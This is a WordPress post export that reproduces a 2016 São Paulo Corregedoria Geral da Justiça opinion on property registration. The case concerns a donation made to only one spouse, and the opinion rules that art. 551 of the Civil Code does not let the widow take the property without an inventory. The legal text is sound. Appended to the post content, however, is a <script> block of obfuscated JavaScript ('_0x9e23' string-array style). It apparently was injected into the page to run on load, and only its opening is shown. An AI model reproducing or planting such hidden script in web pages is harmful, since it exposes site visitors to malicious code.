{"id":211,"date":"2019-03-27T11:30:52","date_gmt":"2019-03-27T14:30:52","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/cgj-sp-registro-de-imoveis-doacao-a-apenas-um-dos-conjuges-marido-pre-morto-impossibilidade-de-se-averbar-a-certidao-de-obito-com-efeitos-translativos-da-propriedade-a\/"},"modified":"2019-03-27T11:30:52","modified_gmt":"2019-03-27T14:30:52","slug":"cgj-sp-registro-de-imoveis-doacao-a-apenas-um-dos-conjuges-marido-pre-morto-impossibilidade-de-se-averbar-a-certidao-de-obito-com-efeitos-translativos-da-propriedade-a","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/cgj-sp-registro-de-imoveis-doacao-a-apenas-um-dos-conjuges-marido-pre-morto-impossibilidade-de-se-averbar-a-certidao-de-obito-com-efeitos-translativos-da-propriedade-a\/","title":{"rendered":"CGJ\/SP: Registro de im\u00f3veis \u2013 Doa\u00e7\u00e3o a apenas um dos c\u00f4njuges \u2013 Marido pr\u00e9-morto \u2013 Impossibilidade de se averbar a certid\u00e3o de \u00f3bito, com efeitos translativos da propriedade \u00e0 esposa \u2013 Intelig\u00eancia do art. 551, par\u00e1grafo \u00fanico, do C\u00f3digo Civil"},"content":{"rendered":"<p style=\"text-align:justify\"><strong>PODER JUDICI&Aacute;RIO<\/strong><br \/>\n<strong>TRIBUNAL DE JUSTI&Ccedil;A DO ESTADO DE S&Atilde;O PAULO<\/strong><\/p>\n<p style=\"text-align:justify\">CORREGEDORIA GERAL DA JUSTI&Ccedil;A<br \/>\nProcesso CG n&deg; 2015\/204333<br \/>\n<strong>(61\/2016-E)<\/strong><\/p>\n<p style=\"text-align:justify\"><strong>Registro de im&oacute;veis &ndash; Doa&ccedil;&atilde;o a apenas um dos c&ocirc;njuges &ndash; Marido pr&eacute;-morto &ndash; Impossibilidade de se averbar a certid&atilde;o de &oacute;bito, com efeitos translativos da propriedade &agrave; esposa &ndash; Intelig&ecirc;ncia do art. 551, par&aacute;grafo &uacute;nico, do C&oacute;digo Civil &ndash; Precedentes da Corregedoria Geral da Justi&ccedil;a e do Superior Tribunal de Justi&ccedil;a &ndash; Recurso desprovido.<\/strong><\/p>\n<p style=\"text-align:justify\">Excelent&iacute;ssimo Senhor Corregedor Geral da Justi&ccedil;a,<\/p>\n<p style=\"text-align:justify\">Altair Marchesini das Neves pretendeu averbar certid&atilde;o de &oacute;bito de seu marido, Alcir Lopes das Neves, na matr&iacute;cula 73.644, a fim de se tornar propriet&aacute;ria do im&oacute;vel. &Eacute; que seu marido o havia recebido por doa&ccedil;&atilde;o, conforme a escritura p&uacute;blica de fls. 12\/17, devidamente registrada no R.3. Como, ao tempo da doa&ccedil;&atilde;o, Alcir e Altair j&aacute; eram casados, sob o regime da comunh&atilde;o de bens, a recorrente defende a aplica&ccedil;&atilde;o, ao caso, do art. 551, par&aacute;grafo &uacute;nico, do C&oacute;digo Civil.<\/p>\n<p style=\"text-align:justify\">O Oficial e o Ju&iacute;zo de Primeiro Grau entenderam que a doa&ccedil;&atilde;o foi feita, apenas, ao marido pr&eacute;-morto &ndash; Altair &ndash; e, por isso, o dispositivo acima n&atilde;o teria lugar.<\/p>\n<p style=\"text-align:justify\">A D. Procuradoria de Justi&ccedil;a manifestou-se pelo desprovimento do recurso.<\/p>\n<p style=\"text-align:justify\">Passo a opinar.<\/p>\n<p style=\"text-align:justify\">O recurso n&atilde;o comporta provimento.<\/p>\n<p style=\"text-align:justify\">A reda&ccedil;&atilde;o do art. 551, do C&oacute;digo Civil, &eacute; a seguinte:<\/p>\n<p style=\"text-align:justify\">Art. 551. Salvo declara&ccedil;&atilde;o em contr&aacute;rio, a doa&ccedil;&atilde;o em comum a mais de uma pessoa entende-se distribu&iacute;da entre elas por igual.<\/p>\n<p style=\"text-align:justify\">Par&aacute;grafo &uacute;nico. Se os donat&aacute;rios, em tal caso, forem marido e mulher, subsistir&aacute; na totalidade a doa&ccedil;&atilde;o para o c&ocirc;njuge sobrevivo.<\/p>\n<p style=\"text-align:justify\">A hip&oacute;tese do par&aacute;grafo &uacute;nico &eacute; de doa&ccedil;&atilde;o conjuntiva, a ambos os c&ocirc;njuges. N&atilde;o &eacute; o que ocorreu aqui. Da leitura da escritura p&uacute;blica de doa&ccedil;&atilde;o, v&ecirc;-se que ela foi feita, apenas, ao marido da recorrente, n&atilde;o obstante ele j&aacute; fosse, &agrave; &eacute;poca, casado.<\/p>\n<p style=\"text-align:justify\">N&atilde;o se pode, por isso, t&atilde;o somente, averbar a certid&atilde;o de &oacute;bito do c&ocirc;njuge pr&eacute;-morto, para transferir a totalidade do im&oacute;vel &agrave; recorrente.<\/p>\n<p style=\"text-align:justify\">Isso n&atilde;o quer dizer, absolutamente, que ela ser&aacute; privada de direitos sobre o bem, mas, apenas, que ter&aacute; de ser aberto invent&aacute;rio, sede em que esses direitos ser&atilde;o examinados.<\/p>\n<p style=\"text-align:justify\">A quest&atilde;o j&aacute; foi objeto de an&aacute;lise nessa Corregedoria Geral da Justi&ccedil;a e no Superior Tribunal de Justi&ccedil;a.<\/p>\n<p style=\"text-align:justify\">No &acirc;mbito da Corregedoria, o parecer 385\/2009-E &ndash; Processo CG 2008\/89290, assim disp&ocirc;s:<\/p>\n<p style=\"text-align:justify\">REGISTRO DE IM&Oacute;VEIS &ndash; Pedido para que, depois de averbada na matr&iacute;cula a morte do marido da recorrente, com quem era casada sob o regime da comunh&atilde;o de bens, seja tamb&eacute;m averbado que a propriedade do quinh&atilde;o doado pelos pais dela consolidou-se em seu favor &ndash; Pretens&atilde;o indeferida em primeiro grau &ndash; Doa&ccedil;&atilde;o feita apenas &agrave; recorrente. N&atilde;o incid&ecirc;ncia da regra do par&aacute;grafo &uacute;nico do artigo 551 do C&oacute;digo Civil, que exige a doa&ccedil;&atilde;o a ambos os c&ocirc;njuges para que se caracterize o direito de acrescer. Recurso n&atilde;o provido.<\/p>\n<p style=\"text-align:justify\">&ldquo;O C&oacute;digo Civil vigente estabelece, em seu artigo 551, que &ldquo;salvo declara&ccedil;&atilde;o em contr&aacute;rio, a doa&ccedil;&atilde;o em comum a mais de uma pessoa entende-se distribu&iacute;da entre elas por igual&rdquo;. E seu par&aacute;grafo &uacute;nico complementa: &ldquo;Se os donat&aacute;rios, em tal caso, forem marido e mulher, subsistir&aacute; na totalidade a doa&ccedil;&atilde;o para o c&ocirc;njuge sobrevivo &ldquo;.<\/p>\n<p style=\"text-align:justify\">Id&ecirc;ntica regra j&aacute; era prevista pelo C&oacute;digo Civil de 1916, que estava em vigor tanto na data da doa&ccedil;&atilde;o em tela, como tamb&eacute;m por ocasi&atilde;o do falecimento do marido da recorrente.<\/p>\n<p style=\"text-align:justify\">Com efeito, estabelecia o artigo 1.178 do &lsquo;Codex&rsquo; anterior:<\/p>\n<p style=\"text-align:justify\">&ldquo;Salvo declara&ccedil;&atilde;o em contr&aacute;rio, a doa&ccedil;&atilde;o em comum a mais de uma pessoa entende-se distribu&iacute;da entre elas por igual.<\/p>\n<p style=\"text-align:justify\">Par&aacute;grafo &uacute;nico. Se os donat&aacute;rios, em tal caso, forem marido e mulher, subsistir&aacute; na totalidade a doa&ccedil;&atilde;o para o c&ocirc;njuge sobrevivo.<\/p>\n<p style=\"text-align:justify\">A escritura de doa&ccedil;&atilde;o copiada a fls. 06\/08 deixa claro que os doadores Jos&eacute; de Faria Morato e sua mulher Zelma Batista Morato doaram o im&oacute;vel apenas a seus filhos, e n&atilde;o a eles aos respectivos c&ocirc;njuges. Entre os donat&aacute;rios do im&oacute;vel n&atilde;o est&aacute; relacionado o ent&atilde;o marido da ora recorrente, o qual s&oacute; surge no t&iacute;tulo na condi&ccedil;&atilde;o de esposo desta, como se verifica a fls.07, de que consta a co-donat&aacute;ria Maria Morato Cavalcante, ora recorrente, casada com Gerson Fernandes Cavalcante, (grifei)<\/p>\n<p style=\"text-align:justify\">Na medida em que a doa&ccedil;&atilde;o foi feita apenas em favor de um dos c&ocirc;njuges, n&atilde;o se aplica a regra do par&aacute;grafo &uacute;nico do artigo 551 do C&oacute;digo Civil, n&atilde;o havendo que se falar, pois, em direito de acrescer em favor do c&ocirc;njuge sup&eacute;rstite.<\/p>\n<p style=\"text-align:justify\">Invi&aacute;vel, portanto, a averba&ccedil;&atilde;o pretendida, dado que n&atilde;o caracterizada a consolida&ccedil;&atilde;o da propriedade em favor da ora recorrente, sendo certo que o quinh&atilde;o do c&ocirc;njuge falecido, que, na verdade, lhe foi transmitido a t&iacute;tulo de mea&ccedil;&atilde;o em virtude do regime de comunh&atilde;o de bens do casal, dever&aacute; ser regularmente partilhado entre os sucessores do &lsquo;de cujus&rsquo;.<\/p>\n<p style=\"text-align:justify\">A controv&eacute;rsia dos autos n&atilde;o &eacute; nova, j&aacute; tendo sido objeto de exame por parte desta Egr&eacute;gia Corregedoria Geral da Justi&ccedil;a, como se v&ecirc; do parecer citado pelo Oficial, lan&ccedil;ado no Processo CG n&deg; 958\/2006, da lavra da ilustre Ju&iacute;za Auxiliar da Corregedoria, Dra. Ana Luiza Villa Nova, aprovado pelo eminente Desembargador Gilberto Passos de Freitas, ent&atilde;o Corregedor Geral da Justi&ccedil;a, cuja ementa &eacute; a seguinte:<\/p>\n<p style=\"text-align:justify\">REGISTRO DE IM&Oacute;VEIS. Recurso interposto contra a r. decis&atilde;o do Ju&iacute;zo Corregedor Permanente, que manteve a recusa do Oficial e indeferiu a pretens&atilde;o de averbar na matr&iacute;cula o &oacute;bito do marido da recorrente, com quem era casada sob o regime da comunh&atilde;o universal de bens, com o fim de subsistir a seu favor a parte ideal correspondente a 1\/5 da nua propriedade do im&oacute;vel doado por seus pais. Doa&ccedil;&atilde;o feita apenas &agrave; recorrente. N&atilde;o incid&ecirc;ncia da regra do par&aacute;grafo &uacute;nico do art. 551 do C&oacute;digo Civil, que reclama a doa&ccedil;&atilde;o a ambos. Necessidade de inventariar e partilhar a parte ideal do bem im&oacute;vel doado, para que os herdeiros do c&ocirc;njuge falecido recebam a leg&iacute;tima, preservada a mea&ccedil;&atilde;o da recorrente. Recurso n&atilde;o provido.<\/p>\n<p style=\"text-align:justify\">Por fim, ressalte-se que a pr&oacute;pria jurisprud&ecirc;ncia invocada pela recorrente supostamente em abono de sua tese confirma, na verdade, o descabimento de sua pretens&atilde;o, como se v&ecirc; da emenda de Recurso Especial julgado pelo Egr&eacute;gio Superior Tribunal de Justi&ccedil;a, indicada a fls. 88:<\/p>\n<p style=\"text-align:justify\">&ldquo;Civil. Recurso especial. Invent&aacute;rio. Im&oacute;vel obtido pelo falecido mediante doa&ccedil;&atilde;o. &Uacute;nico donat&aacute;rio. Subsist&ecirc;ncia da doa&ccedil;&atilde;o em rela&ccedil;&atilde;o ao seu c&ocirc;njuge, com base no art.1178, par&aacute;grafo &uacute;nico do CC. Impossibilidade.<\/p>\n<p style=\"text-align:justify\">&ndash; A aplica&ccedil;&atilde;o do art. 1178, par&aacute;grafo &uacute;nico do CC, no sentido de subsistir a doa&ccedil;&atilde;o em rela&ccedil;&atilde;o ao c&ocirc;njuge sup&eacute;rstite, condiciona-se ao fato de terem figurado como donat&aacute;rios marido e mulher.<\/p>\n<p style=\"text-align:justify\">No contrato de doa&ccedil;&atilde;o, se apenas o marido figura como donat&aacute;rio, ocorrendo a morte deste, eventual beneficio &agrave; mulher somente se configurar&aacute; se o regime de bens, estabelecido no matrim&oacute;nio, permitir.&rdquo;<\/p>\n<p style=\"text-align:justify\">J&aacute; no Recurso Especial n&deg; 324.593 &ndash; SP (2001\/0065962-3), restou expresso:<\/p>\n<p style=\"text-align:justify\">&ldquo;A quest&atilde;o posta a desate, pelos recorrentes, consiste em aferir se o bem im&oacute;vel havido pelo falecido, por doa&ccedil;&atilde;o, n&atilde;o h&aacute; de ser inclu&iacute;do no monte partilh&aacute;vel ou deve continuar sob a propriedade exclusiva de sua mulher, observado o regime de comunh&atilde;o universal sob o qual viveram.<\/p>\n<p style=\"text-align:justify\">Interpretando-se o par&aacute;grafo &uacute;nico do art. 1178 do CC, conclui-se que a possibilidade de subsist&ecirc;ncia da doa&ccedil;&atilde;o para o c&ocirc;njuge sobrevivo depende exclusivamente do fato de terem figurado no contrato como donat&aacute;rios tanto o marido quanto a mulher, independentemente do regime de bens adotado no matrim&oacute;nio e da exist&ecirc;ncia ou n&atilde;o de cl&aacute;usula de comunicabilidade no contrato de doa&ccedil;&atilde;o.<\/p>\n<p style=\"text-align:justify\">Por um lado, se s&atilde;o donat&aacute;rios marido e mulher, na ocorr&ecirc;ncia da morte de um deles, o objeto da doa&ccedil;&atilde;o passa ao dom&iacute;nio exclusivo do c&ocirc;njuge sup&eacute;rstite. Na pr&aacute;tica, a medida permite que os c&ocirc;njuges sejam beneficiados com a doa&ccedil;&atilde;o em detrimento de seus respectivos herdeiros.<\/p>\n<p style=\"text-align:justify\">Por outro lado, se na doa&ccedil;&atilde;o figura como donat&aacute;rio somente o marido ou a mulher, em raz&atilde;o de sua morte ser&atilde;o os seus herdeiros beneficiados. Nessa hip&oacute;tese, poder&aacute; o c&ocirc;njuge sup&eacute;rstite, caso exista, ser ou n&atilde;o beneficiado em raz&atilde;o do regime de bens adotado no matrim&ocirc;nio.<\/p>\n<p style=\"text-align:justify\">Adotado o regime de comunh&atilde;o de bens, o bem doado acrescer&aacute; a mea&ccedil;&atilde;o do c&ocirc;njuge sup&eacute;rstite, nos termos do art. 263, II do CC, se no contrato de doa&ccedil;&atilde;o n&atilde;o restou lan&ccedil;ada cl&aacute;usula de incomunicabilidade.<\/p>\n<p style=\"text-align:justify\">A respeito da quest&atilde;o, assim se pronunciou o mestre Pontes de Miranda:<\/p>\n<p style=\"text-align:justify\">&ldquo;No art. 1178, par&aacute;grafo &uacute;nico, estabelece-se o direito do c&ocirc;njuge sobrevivo &agrave; totalidade da doa&ccedil;&atilde;o. Nada tem isso com a sorte da doa&ccedil;&atilde;o conforme o regime matrimonial de bens. O que o par&aacute;grafo &uacute;nico faz entender-se &eacute; que, se os donat&aacute;rios s&atilde;o c&ocirc;njuges, a parte do c&ocirc;njuge que premorre passa ao sobrevivo. Nada tem isso com a doa&ccedil;&atilde;o a um dos c&ocirc;njuges, se o regime &eacute; da comunh&atilde;o de bens, ou outro regime. O par&aacute;grafo &uacute;nico sup&otilde;e pluralidade, a&iacute; duas pessoas, que foram os outorgados, e em aten&ccedil;&atilde;o &agrave; situa&ccedil;&atilde;o jur&iacute;dica, entre eles estatui que toda a doa&ccedil;&atilde;o vai ao que est&aacute; vivo. Se j&aacute; a haviam recebido, n&atilde;o h&aacute; invocabilidade do par&aacute;grafo &uacute;nico.&rdquo; (Tratado de Direito Privado &ndash; Parte Especial, Tomo XLVI, Ed. Borsoi, Rio de Janeiro, 1964, p. 237)<\/p>\n<p style=\"text-align:justify\">No mesmo sentido se manifesta Caio M&aacute;rio da Silva Pereira:<\/p>\n<p style=\"text-align:justify\">&ldquo;Feita a doa&ccedil;&atilde;o comum a mais de uma pessoa, presume-se ter o doador entre elas distribu&iacute;do em partes iguais a coisa doada, salvo se o contr&aacute;rio resultar do contrato (C&oacute;digo Civil, art. 1178). E, se forem os donat&aacute;rios marido e mulher, a lei institui uma substitui&ccedil;&atilde;o rec&iacute;proca, estatuindo que, com a morte de um, n&atilde;o passa o bem a seus herdeiros, mas subsiste na totalidade a doa&ccedil;&atilde;o para o c&ocirc;njuge sup&eacute;rstite, como um direito de acrescer.&rdquo; (Institui&ccedil;&otilde;es de Direito Civil, Ed. Forense, Rio de Janeiro, 1984, p. 177)<\/p>\n<p style=\"text-align:justify\">No processo em an&aacute;lise, consta do v. ac&oacute;rd&atilde;o recorrido (fl. 29) que o im&oacute;vel, objeto da controv&eacute;rsia, foi doado &uacute;nica e exclusivamente ao falecido, motivo pelo qual n&atilde;o teria aplicabilidade o art. 1178, par&aacute;grafo &uacute;nico, do CC:<\/p>\n<p style=\"text-align:justify\">&ldquo;Inicialmente, ressalte-se que tal im&oacute;vel foi doado ao &lsquo;de cujus&rsquo;, casado, por seus pais, com cl&aacute;usula de inalienabilidade relativa, ressalvando-se, no entanto, expressamente, a sua penhorabilidade e comunicabilidade. Acontece que doa&ccedil;&atilde;o a um c&ocirc;njuge, com cl&aacute;usula de comunicabilidade ao outro (hip&oacute;tese dos autos), n&atilde;o &eacute; o mesmo que doa&ccedil;&atilde;o a ambos os c&ocirc;njuges. No primeiro caso, somente h&aacute; um donat&aacute;rio. O outro &eacute; c&ocirc;njuge-meeiro pela comunh&atilde;o (comunica&ccedil;&atilde;o). No segundo caso, ambos s&atilde;o donat&aacute;rios. Ora, o par&aacute;grafo &uacute;nico do art. 1178 do C&oacute;digo Civil contempla esta segunda hip&oacute;tese. Portanto, n&atilde;o tem aplica&ccedil;&atilde;o ao caso dos autos.&rdquo;<\/p>\n<p style=\"text-align:justify\">Assim sendo, n&atilde;o h&aacute; que se falar em aplica&ccedil;&atilde;o do par&aacute;grafo &uacute;nico do art. 1178 do CC, porquanto apenas o finado figurou como donat&aacute;rio do referido im&oacute;vel.&rdquo;<\/p>\n<p style=\"text-align:justify\">Portanto, sendo certo que a doa&ccedil;&atilde;o n&atilde;o se fez, conforme a escritura, a ambos os c&ocirc;njuges e j&aacute; havendo posi&ccedil;&atilde;o firmada sobre o tema, na Corregedoria e em Tribunal Superior, a hip&oacute;tese &eacute; de desprovimento.<\/p>\n<p style=\"text-align:justify\">Pelo exposto, o parecer que submeto a Vossa Excel&ecirc;ncia, respeitosamente, &eacute; no sentido de se negar provimento ao recurso.<\/p>\n<p style=\"text-align:justify\">Sub censura.<\/p>\n<p style=\"text-align:justify\">S&atilde;o Paulo, 09 de mar&ccedil;o de 2016.<\/p>\n<p style=\"text-align:justify\"><strong>Swarai Cervone de Oliveira<\/strong><\/p>\n<p style=\"text-align:justify\">Juiz Assessor da Corregedoria<\/p>\n<p style=\"text-align:justify\"><strong>DECIS&Atilde;O:<\/strong>&nbsp;Aprovo o parecer do MM. Juiz Assessor da Corregedoria e, por seus fundamentos, que adoto, nego provimento ao recurso. Publique-se. S&atilde;o Paulo, 11.03.2016. &ndash; (a) &ndash; MANOEL DE QUEIROZ PEREIRA CAL&Ccedil;AS &ndash; Corregedor Geral da Justi&ccedil;a.<\/p>\n<p style=\"text-align:justify\"><em>Di&aacute;rio da Justi&ccedil;a Eletr&ocirc;nico de 21.03.2016<br \/>\nDecis&atilde;o reproduzida na p&aacute;gina 35 do Classificador II &ndash; 2016<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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